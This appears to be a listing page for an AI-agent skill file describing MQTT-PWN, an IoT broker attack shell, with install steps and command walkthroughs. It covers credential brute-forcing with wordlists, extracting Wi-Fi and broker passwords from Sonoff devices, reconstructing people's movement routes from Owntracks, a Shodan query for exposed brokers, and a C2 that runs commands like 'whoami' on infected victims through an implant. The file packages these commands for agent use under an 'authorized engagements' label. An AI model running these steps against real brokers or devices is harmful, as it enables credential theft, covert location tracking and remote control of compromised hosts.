offensive-tools/network/mqtt-pwn/SKILL.md
MQTT-PWN: interactive `cmd2`-based shell for IoT MQTT broker pentesting — connect, topic/message discovery, credential brute-force, broker fingerprinting ($SYS), Sonoff/Owntracks exploitation, and a publish/subscribe C2. Use when assessing exposed MQTT brokers (1883/8883), enumerating IoT topics, recovering broker credentials, or chaining MQTT to smart-home/ICS/IoT-device abuse in authorized engagements.
npx skillsauth add aeondave/malskill mqtt-pwnInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
One-stop interactive framework for MQTT broker penetration testing. Wraps enumeration, brute-force, fingerprinting, and publish/subscribe abuse modules in a single shell with SQLite-like persistence (PostgreSQL) so scans, topics, messages, victims, and credentials survive across the session.
Use it instead of raw mosquitto_pub/mosquitto_sub when you need to:
$SYS/# topics.ics-ctf and mosquitto-clients).Skip it for: single one-shot pub/sub checks (use mosquitto-clients), MQTT 5 enterprise features, or MQTT-SN — coverage is MQTT 3.1.1 over TCP/TLS only.
git clone https://github.com/akamai-threat-research/mqtt-pwn
cd mqtt-pwn
docker-compose up --build --detach # builds db + cli containers
docker-compose run cli # drops into the >> shell
Stop/clean:
docker-compose down
git clone https://github.com/akamai-threat-research/mqtt-pwn
cd mqtt-pwn
pyenv virtualenv 3.x mqtt_pwn_env # or python -m venv .venv
pip install -r requirements.txt
# Configure PostgreSQL DSN in environment / config, then:
python run.py
The first run auto-creates DB tables. Drop connect -o <host> -p <port> lines into ./resources/shell_startup.rc to auto-run on launch (# for comments).
Prompt evolves as state is added:
>> (no broker)
host:1883 >> (after connect)
host:1883 [Scan #1] >> (after scans -i 1)
host:1883 [Victim #1] >> (after victims -i 1)
back (pop selection)
All commands support --help; many scans are async — the prompt stays usable while work happens in background.
| Goal | Command |
|-------------------------------|---------------------------------------------------------------|
| Connect to broker | connect -o <host> -p 1883 [-t 60] |
| Disconnect | disconnect |
| Broker fingerprint | system_info |
| Discover topics+messages | discovery -t 30 -p '#' '$SYS/#' -q 0 |
| List async scans | scans |
| Select a scan | scans -i <id> |
| List topics in selected scan | topics [-s] [-l N] [-r REGEX] [-c] |
| List messages | messages [-s] [-l N] [-mr MSG_RE] [-tr TOPIC_RE] [-c] |
| Single message (JSON) | messages -i <id> -j |
| Brute-force credentials | bruteforce [-u U... | -uf file] [-p P... | -pf file] |
| Sonoff info grab | sonoff -p sonoff/ -t 10 |
| Owntracks user/device list | owntracks |
| Owntracks route | owntracks -u <user> -d <device> |
| C2 — list infected | victims |
| C2 — select victim | victims -i <id> |
| C2 — execute command | exec <cmd> |
| C2 — review outputs | commands |
Default wordlists live under ./resources/wordlists/usernames.txt and passwords.txt.
>> connect -o 10.0.0.50 -p 1883
10.0.0.50:1883 >> system_info # broker version, client counts, uptime
10.0.0.50:1883 >> discovery -t 30 -q 0 # async, listens to '#' and '$SYS/#'
10.0.0.50:1883 >> scans # wait until Is Done = True
10.0.0.50:1883 >> scans -i 1
10.0.0.50:1883 [Scan #1] >> topics -s # only labeled (known device fingerprints)
10.0.0.50:1883 [Scan #1] >> topics -r 'cmd|set|write|config' -c
-s filters to topics matched against the bundled resources/definitions.json fingerprint list — fastest path to known device families (Sonoff, Owntracks, Tasmota, etc.).
>> connect -o broker.local -p 1883
broker.local:1883 >> bruteforce # uses default wordlists
broker.local:1883 >> bruteforce -u admin root -pf rockyou.txt # mixed inline/file
Output prints [+] Found valid credentials: user:pass per hit; Ctrl-C stops. Reconnect with the recovered pair via connect + paho options is not in the shell — finish auth tests with mosquitto_pub/sub (see mosquitto-clients).
[Scan #1] >> topics -r '^sonoff'
[Scan #1] >> sonoff -p sonoff/<device_id>/ -t 10
Listens for FullTopic, Hostname, IPAddress1, MqttHost, MqttUser, MqttPassword, SSId/SSId2, Password/Password2, WebPassword, otaU, etc. Direct path from MQTT exposure to Wi-Fi credentials and OTA pivot.
[Scan #1] >> owntracks # enumerate user/device pairs
[Scan #1] >> owntracks -u alice -d iPhone15 # → Google Maps URL of route
Useful both for IoT-broker risk demos and OSINT pivots on accidentally public brokers.
broker:1883 >> victims # check-ins from infected hosts
broker:1883 >> victims -i 1
broker:1883 [Victim #1] >> exec whoami
broker:1883 [Victim #1] >> commands # async results table
Operator subscribes to output/<uuid>, victims subscribe to input/<uuid>. Implant template lives at mqtt_pwn_victim/victim.py and is meant to be bundled via PyInstaller/Py2EXE for lab demos.
discovery uses # and $SYS/# — extremely noisy in broker logs; restrict topics on production brokers (-p sensors/# devices/+/status).mosquitto_sub -v before any exec/sonoff write.-r flag in mosquitto_pub.nmap -p1883,8883 --script mqtt-subscribe — initial broker discovery before connecting.shodan search 'port:1883 mqtt' — find externally-exposed brokers (authorized scope only).connect hangs: increase -t (default 60s); broker may require TLS on 8883 — mqtt-pwn shell is plaintext-only, use mosquitto_sub --cafile for TLS brokers, then reuse credentials inside mqtt-pwn over the plain channel if exposed.scans shows Is Done = False forever: discovery thread crashed (often broker disconnect); reconnect and rerun, check container logs docker-compose logs cli.clientid ACL or per-topic ACL rather than CONNECT-level auth; switch to topic-level probe with mosquitto_pub -d.topics: low QoS + slow publishers; raise -t to 300, set -q 2, or target specific prefixes.mosquitto_sub — prefer Docker compose for short engagements.No bundled scripts/, references/, or assets/. Authoritative docs:
connect, grabber, topic_enum, brute, sonoff, owntracks, c2 under /plugins/.data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.